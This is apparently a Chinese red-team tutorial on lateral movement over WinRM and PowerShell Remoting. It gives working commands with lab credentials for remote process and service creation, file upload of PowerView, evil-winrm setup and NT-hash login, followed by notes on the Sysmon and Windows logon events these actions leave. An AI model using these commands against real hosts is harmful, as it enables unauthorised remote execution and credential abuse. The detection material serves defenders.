0%

WinRM for Lateral Movement

T1028: WinRM for Lateral Movement

参考:

内网横移之WinRM

Powershell Remoting

Lateral Movement – WinRM

WinRM(Windows Remote Management)是 WS-Management Protocol Microsoft 实现

这个协议有没有其他的实现?有,比如 openwsman,也就说在在linux也可以通过该协议管理Windows(跨平台)。

Ansible 通过该协议进行远程管理Windows

配置和背景

参考:Installation and Configuration for Windows Remote Management

  • WinRM 服务在Windows Server 2008 上,为自动启动,Windows Vista上,必须手动启动。
  • 默认情况下,未配置WinRM listener,即使服务在运行,也无法接受或发送请求的WS-Management 协议 数据
  • 防火墙阻止访问
1
2
winrm e winrm/config/listener #查找侦听器
winrm get winrm/config #检查配置状态

快速配置 WinRM Server

1
2
Winrm quickconfig #启用默认设置
#管理员权限

该命令执行了以下操作:

  • 启动WinRM服务,启动类型设置为自动启动
  • 配置HTTPS或HTTPS的发送和接收WS-Management 协议的 listener (所有地址都监听)
  • Windows 防火墙生成放行两个端口,并打开HTTP和HTTPS端口

默认 HTTP 端口 5985,默认的HTTPS端口是5986

修改配置中 Client 的 TrustedHosts :

1
2
3
4
winrm set winrm/config/client '@{TrustedHosts="*"}' #powershell下@字符回引起错误,使用引号包围
winrm set winrm/config/client @{TrustedHosts="*"} #cmd
#这里信任任意主机,实践中请使用确切的列表以保证安全性
#注:需clinet和server都配置该选项

可以看到WinRM服务支持多种认证: Basic、Digest 、Kerberos、 Negotiate、Certificate、CredSSP。

配置中还有一些有意思的地方,例如:

RootSDDL 指定控制远程访问 listener 的默认安全描述符,

AllowRemoteShellAccess 远程shell的访问,如果false,则服务器拒绝shell的访问

组策略

在域环境中可下发组策略(本地组策略也可以修改相关设置)批量部署WinRM服务:

对应注册表选项不过多介绍

重要的组件

非完整列表,具体请参考About Windows Remote Management

  • WinRM.cmd
  • Winrs.exe
  • winrm.vbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#常用的一些命令
winrm delete winrm/config/listener?address=*+transport=HTTP #删除 listener
winrm id -r:OWA2010SP3 -auth:kerberos -u:administrator@0day.org -p:Admin!@#45
winrm get winrm/config -r:OWA2010SP3 -auth:kerberos -u:administrator@0day.org -p:Admin!@#45
cscript %windir%\System32\winrm.vbs #和上面一样的使用方法,这种cmd下适用
cscript C:\Windows\System32\winrm.vbs #如果系统在C盘是这样

#验证通过可远程修改winRM配置
winrs -r:OWA2010SP3 -u:administrator@0day.org -p:Admin!@#45 ipconfig

winrm invoke Create wmicimv2/win32_process '@{CommandLine="calc.exe"}' -r:http://192.168.3.142:5985 -u:administrator@0day.org -p:Admin!@#45
#开启进程
winrm invoke Create wmicimv2/Win32_Service '@{Name="test";DisplayName="test";PathName="cmd.exe /k c:\windows\system32\calc.exe"}' -r:http://192.168.3.142:5985 -u:administrator@0day.org -p:Admin!@#45 #新建服务
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://192.168.3.142:5985 -u:administrator@0day.org -p:Admin!@#45 #运行服务

搜索发现一个比较好用得技巧,powershell环境中变量得解析方式、使用方式和cmd不一样:

获取当前环境得所有变量:Get-ChildItem env: or ls env:

使用变量:$env:windir

前面的WinRM.vbs,在powersehll中使用的的命令就是这样:cscript.exe $env:windir\System32\winrm.vbs

注意,这里笔者使用的是主机名,直接使用ip,使用ip也可

或者返回一个交互式的shell:

这里其实使用的是Kerberos验证,可以进行黄金票据和白银票据。

其中HTTP 的票据就是winrm的服务票据

PowerShell Remoting

参考:Running Remote Commands

Powershell Remoting有两种方式:

  • SSH
  • WSMAN

SSH暂且不谈,这里的Wsman就是前面所说的 WS-Management Protocol,也就是WinRM服务。

1
2
New-PSSession -ComputerName OWA2010SP3 -Credentia 0day\Administrator
Enter-PSSession id

注:我当前身份是一个本地用户

能不能静默运行?可以。

1
2
3
4
5
6
7
8
9
10
11
$Username ="0day\Administrator"  
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential $Username,$Password
$Session = New-PSSession -computerName OWA2010SP3 -Credential $Credential
or
Enter-PSSession -computerName OWA2010SP3 -Credential $Credential
or
Invoke-Command -Session $Session {Command} #这个命令也经常用
Invoke-Command -ComputerName OWA2010SP3 -Credential $Credential -ScriptBlock { Command }
#computername 可接受多个参数,即可同时在多个目标上远程执行。
#在新版kali中是由pwsh的,理论上上述命令在pwsh同样适用,但是笔者测试时遇到错误,暂未找到原因。

Observations

OWA2010SP3上可以看到父进程是wsmprovhost:

Kibana中搜索calc*

该日志来源于事件查看器中的sysmon:

为了便于观察命令执行过程中产生的日志,建议先清除日志:

查看客户端安全日志:

位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

记得开启-组策略-本地策略-审核策略,开启其中的全部设置。

注意有3次Logon 4648事件

可以注意到4648事件(使用显示凭据登录产生该事件),显示了启动的进程、连接的主机名和使用的账户。

查看WinRM的服务日志:

位置:%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx

其中的一部分日志显示创建了一个shell:

OWA2010SP3上查看日志:

注意到Kerberos相关验证,重点关注的几个事件:登录事件、特殊登录、注销事件

4624登录事件出现4次,4672 特殊登录事件出现4次,4634注销事件出现了1次

其中登录事件和特殊登录事件中有3次是0day\administrator登录,

另外一次是名为OWA2010SP3$的登录和注销

其他的一些命令

1
2
3
4
5
6
7
8
9
10
11
12
Enable-PSRemoting -force #启用PsRemoting 等同于winrm quickconfig
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force #设置TrustedHosts 列表
Test-NetConnection <IP> -CommonTCPPort WINRM #测试目标 Listener 是否打开
Test-WsMan {hostname|ip} #和上一个命令类似
Get-Item WSMan:\localhost\Client\TrustedHosts #获取TrustedHosts的值
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname} #在远程主机上执行命令
Enter-PSSession <host> -Credential <domain>\<user> #生成一个交互式的的powersehll
Enter-PSSession <host> -Authentication Kerberos #指定认证方式为 kerberos
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession) #上传文件到目标
Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession) #从session中下载文件
Get-Service WinRM #检查WinRM服务,默认windows server 2008 自动启动,windows vitsa 需要手动启动。
Restart-Service WinRM #重启WinRM 服务

evil-winrm

发现@0x0c提到的evil-winrm,目前作者还在维护,这里分享下使用的过程。

1
2
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm

笔者修改了其中的DockerFile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
FROM ruby:alpine

# Credits & Data
LABEL \
name="Evil-WinRM" \
author="CyberVaca <cybervaca@gmail.com>" \
maintainer="OscarAkaElvis <oscar.alfonso.diaz@gmail.com>" \
description="The ultimate WinRM shell for hacking/pentesting"

# Install dependencies
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories && apk update && apk add --no-cache build-base
RUN bundle config mirror.https://rubygems.org https://gems.ruby-china.com
RUN gem install winrm winrm-fs stringio
#主要修改了上面这一部分

# Create volume for powershell scripts
RUN mkdir /ps1_scripts
VOLUME /ps1_scripts

# Create volume for executable files
RUN mkdir /exe_files
VOLUME /exe_files

# Create volume for data (upload/download)
RUN mkdir /data
VOLUME /data

# Set workdir
WORKDIR /opt/

# Install Evil-WinRM
RUN mkdir evil-winrm
COPY . /opt/evil-winrm

# Make script file executable
RUN chmod +x evil-winrm/*.rb

# Clean and remove useless files
RUN rm -rf /opt/evil-winrm/resources > /dev/null 2>&1 && \
rm -rf /opt/evil-winrm/.github > /dev/null 2>&1 && \
rm -rf /opt/evil-winrm/CONTRIBUTING.md > /dev/null 2>&1 && \
rm -rf /opt/evil-winrm/CODE_OF_CONDUCT.md > /dev/null 2>&1 && \
rm -rf /opt/evil-winrm/Dockerfile > /dev/null 2>&1 && \
rm -rf /opt/evil-winrm/Gemfile* > /dev/null 2>&1 && \
rm -rf /tmp/* > /dev/null 2>&1

# Start command (launching Evil-WinRM)
ENTRYPOINT ["/opt/evil-winrm/evil-winrm.rb"]
1
docker build -t evil-winrm .

使用的效果如下图:

不一定要使用明文密码,注意-H 参数,使用NT hash 也可以登录

参考

A look under the hood at Powershell Remoting through a cross plaform lenshttp://www.hurryupandwait.io/blog/a-look-under-the-hood-at-powershell-remoting-through-a-ruby-cross-plaform-lens /June

Windows Remote Management

PowerShell 远程执行任务

一条命令实现端口复用后门

WinRM 结合HTTP.sys驱动实现端口复用

如果我的笔记帮助到你,给我一点鼓励可以吗(●ˇ∀ˇ●)